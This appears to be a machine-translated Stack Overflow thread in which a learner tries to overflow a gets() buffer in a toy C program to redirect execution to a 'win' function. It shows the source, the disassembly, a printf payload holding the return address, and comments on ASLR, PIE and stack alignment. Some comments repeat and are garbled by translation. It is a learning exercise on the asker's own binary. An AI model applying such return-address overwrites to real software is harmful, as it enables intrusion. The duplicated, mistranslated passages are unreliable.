Assembly 利用堆栈重定向逻辑流

Assembly 利用堆栈重定向逻辑流,assembly,x86-64,buffer-overflow,exploit,Assembly,X86 64,Buffer Overflow,Exploit,我试图修改rip,将代码流重定向到一个名为“win”的函数。然而,许多尝试都失败了 以下是代码、反汇编和系统规范: void return_input (void) { char array[30]; gets (array); printf("%s\n", array); } void win (void) { printf("Redirected!\n"); } int main() { return_input()

我试图修改rip,将代码流重定向到一个名为“win”的函数。然而,许多尝试都失败了

以下是代码、反汇编和系统规范:

void return_input (void)
{
        char array[30];
        gets (array);
        printf("%s\n", array);
}

void win (void)
{
    printf("Redirected!\n");
}

int main() {
        return_input();
    return 0; 
}

Compiled using: cc -ggdb overflow.c -o Overflow

Dump of assembler code for function main:
   0x0000555555555180 <+0>: push   %rbp
   0x0000555555555181 <+1>: mov    %rsp,%rbp
   0x0000555555555184 <+4>: callq  0x555555555145 <return_input>
   0x0000555555555189 <+9>: mov    $0x0,%eax
   0x000055555555518e <+14>:    pop    %rbp
   0x000055555555518f <+15>:    retq   

location of win: 0x55555555516d <win>:  -443987883

System specs (I am using a kali vm): 
Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
Address sizes:       39 bits physical, 48 bits virtual
Vendor ID:           GenuineIntel
CPU family:          6
Model:               70
Model name:          Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
我还尝试了
echo'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

而且效果不好所以我想这不是问题所在

编辑:堆栈和信息帧的前后:

return\u input中的堆栈是您试图覆盖的堆栈,因此您需要分解该堆栈。您可能需要担心堆栈对齐问题。当您返回到应该调用的函数时,堆栈将无法正确对齐。Printf可能关心,也可能不关心。@prl堆栈是return\u输入的堆栈,所以这应该是可以的,但是,这是非常新的东西,我真的不知道什么是堆栈对齐,更重要的是,如何实现它。非常感谢。默认情况下,GCC使饼图可执行。除非在
/proc
中全局禁用ASLR,否则可执行文件的基址将在每次运行时随机化到不同的页面中。(因此也是
win
的地址)。如果您从GDB内部运行程序,GDB将禁用ASLR。要进行检查,可以将
printf(“%s\n”,win)
添加到main。或者更好,因为您已经在使用GDB,请在GDB中尝试您的漏洞,这样您就可以看到它是如何出错的<代码>开始
工作。不确定管道。@PeterCordes谢谢你的想法,但它似乎不起作用,我在问题上附加了一个图像,显示了堆栈的前后(我按照你说的将输入放在一个文件中,并启动了return\u input中的堆栈就是你试图覆盖的堆栈,所以你需要拆开它。你可能需要担心堆栈对齐。当您返回到应该调用的函数时,堆栈将无法正确对齐。Printf可能关心,也可能不关心。@prl堆栈是return\u输入的堆栈,所以这应该是可以的,但是,这是非常新的东西,我真的不知道什么是堆栈对齐,更重要的是,如何实现它。非常感谢。默认情况下,GCC使饼图可执行。除非在
/proc
中全局禁用ASLR,否则可执行文件的基址将在每次运行时随机化到不同的页面中。(因此也是
win
的地址)。如果您从GDB内部运行程序,GDB将禁用ASLR。要进行检查,可以将
printf(“%s\n”,win)
添加到main。或者更好,因为您已经在使用GDB,请在GDB中尝试您的漏洞,这样您就可以看到它是如何出错的<代码>开始工作。关于管道不太清楚。@PeterCordes谢谢你的想法,但它似乎不起作用,我在问题上附加了一个图像,显示了堆栈的前后(我按照你说的将输入放在一个文件中,并且确实开始了printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6d\x51\x55\x55\x55\x55\x00\x00' | ./TheOver AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmQUUUU Segmentation fault